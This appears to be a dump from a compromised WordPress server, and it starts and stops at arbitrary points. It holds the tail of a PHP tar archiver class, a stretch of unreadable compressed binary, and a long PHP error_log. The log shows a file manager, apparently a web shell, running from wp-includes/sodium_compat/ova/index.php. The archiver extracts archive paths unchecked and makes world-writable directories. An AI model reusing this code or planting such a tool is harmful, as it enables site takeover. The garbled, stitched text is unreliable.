'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK$[U.kerror_log.tar.gznu[[oX9H7P бyՅ PB=)Cc0m[ʥPR>ٴe+Z{ 认li}}7y|?^|ٜ]oΪWb|2]ݼu()⢜u=W?tBi矇aF( 4Kd?0a;klڽSw{<~UY ,8^Oo]մʃr:+^jʪYxMXX,:.tY`Zu,cӫU]4yU={{9_տ_z/Χդx^=fӪ ѳ.Cմ^[99ۿn?e}W7EU\Ml̊j`y^WدŴẼVsl겸Ƀj,WӦ|5r&O'l#`7o$W8aGY!qLģ"T#T#T#T#T8աA_嫗h3Bc"#####uHz6#.^Mϡ%Ѧ=Do542T3T3ͱW7rQ\o?-$I9-I, a'x}K8NIU<)7 *ш*шj~C!B4b VY8|m>O/Ѧ=t惃CJ?~gy?p8<mߡLX,hYz6 p?}~h/<犢"~gB+ ?e\/Ѧ)pLsB'_$22}8?zh_/Ѥڶ ϕ >8VM?Dw&mk%}e^"i5J4ywޡ_u<ш{?Dz hz6Gߡ>^8zҨD#P%q*ш+TF\J4 !~jӝ1vktG(D#F(D#F(D#F(D#F(D#G(kmF(5t?郃CCK?~M+ѤSmS}pNy9?J?~hS>=pg(%?>8VMgh%?J?~hVI3Jz6j%>8VM9C7c[wChD#P%q*ш;T3 VB)"QWm^qʯ Bh ^Mw%ш ;D#v(FPءCh2B+Z6ǯPp}5vg(-f(D#f(D#f(D#f(D#f(CzN9Ba)>8=TDOZ/Ѧ=tߡ)81~B+Ѧ p85<?J?zჃ_)>8L_+ѦVM㿄áZ&O<S|p<?)o>8__=)?>8Og(%=KVFwM qBш*FPA4 'T84 D 1'TCh VMW%}^I'T%}^MW%Hƻ;D#v(Cݡ$CI4bh% -D ~3|pW(p~B+Ѧ PI;t8ߒR %шJ+D#V(FPXL{Z6# VM+Z6_C)>8 Dw(8C)8)~Z+Ѧ|Z&$2S>{H?xD[e8xCMMCD[ ҸD#P&q2ш+F\L4 _ߧ0CPB}J6Ph%|c6_CM+<7cqwh %шJ+D#V(FPh%B[CPFPFPFPFPFP{hZ6#]^=$?奕hVM{Z6k%)>8jDJ?~G+ѦNDy%=K?zhh=K?zha<^$S>[ !o%2ः<IpF34zHh%r'#D[%8 |DCASurt%?CAzH4m!Ѡ# U=$=K4??vߌ{I4VIHۛPJ4R'8h D#N(uhy h0BP%Ѧ+zI4BDCKM?Dcw7Y|8?~J1 V"?Nק_/o$ g"c[8Y=a#D8 d;#-bu=?buu_//Ekf,?.jy/3 k`yp)}ֱ,&{?>r(.I+y3WzW,G=ا;)yfgoASO?Sxky߭ɯi]^4Ӌُ/) V,ps=P=ʵw5FhNk>4DN$ըDV#$8TXш}{V"N8< Շ#<~ka}Ip.V/ )S<`~[:DyaDg7kO%~~3EU͛ŅՔ|.u-@=y]~[mNaKOQ4|ғ;b2i/#כZ{Og`ygΛbyϜ[ogΡ޽XT0~'L:Įhn%#s꿓p-I p{F"Wp\pn#Q;\#z}}?nm>jWڗȮf'|;[$?J_<}wi,=f7εOYhY (ϚE3O}zS>p.lnKdsN WڗgxxD/ù}%uOq|otv>Ï ?<{k{[ ޗS%rm'̮A?N;{~ƱKԛO]K~ [F,~waJh"]yP~.eP87:[YUN?̬LQuָm^bNaFŒvRߪE ~I3mx"g0\&‰ xAput:p#1@ N8t_ ,[[lpn?D7E]6ox=h%MX3?!mzK3,3X_{4pڙ\恽zk+ɧ [S,/ *)V\1aGN3T|O!͗}Ƀrѫ7bmZ &pЂK4w%r&+_M_AODzWxB? oVtH/I#F"Hp_V&Kg$u׏ȅ?^sl573i#3%8-۾CK/N۰A[uWb\%nQ}>w}QOןdfc^KzHdGϫD1֞Wk8WGYXxs_ޘqRvy#] tj#'K!1B}U Y8F"L=ddXѻ'epc.DvD?!Kp;l['>h[29~nCrܞD-掿q}ZfcTqTM>9竦u|,VS[QoܗB&^aDӉfL48$ 5"h$4v5t:l/B5:"q54 ш ш ш Pd8{cFWB4bB4bB4bB4bB4JG)RIČ//⋯ 1jPK$[ u error_lognu[[29-Aug-2025 17:50:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [29-Aug-2025 17:50:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [29-Aug-2025 21:58:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [29-Aug-2025 21:58:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:15:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:15:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:28:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:28:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:33:35 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:33:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:35:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:35:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:37:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:37:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:37:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:37:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:39:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:39:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:39:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:39:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:42:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 04:42:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 06:34:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 06:35:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 07:26:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 07:26:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:12:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:13:33 UTC] PHP Warning: 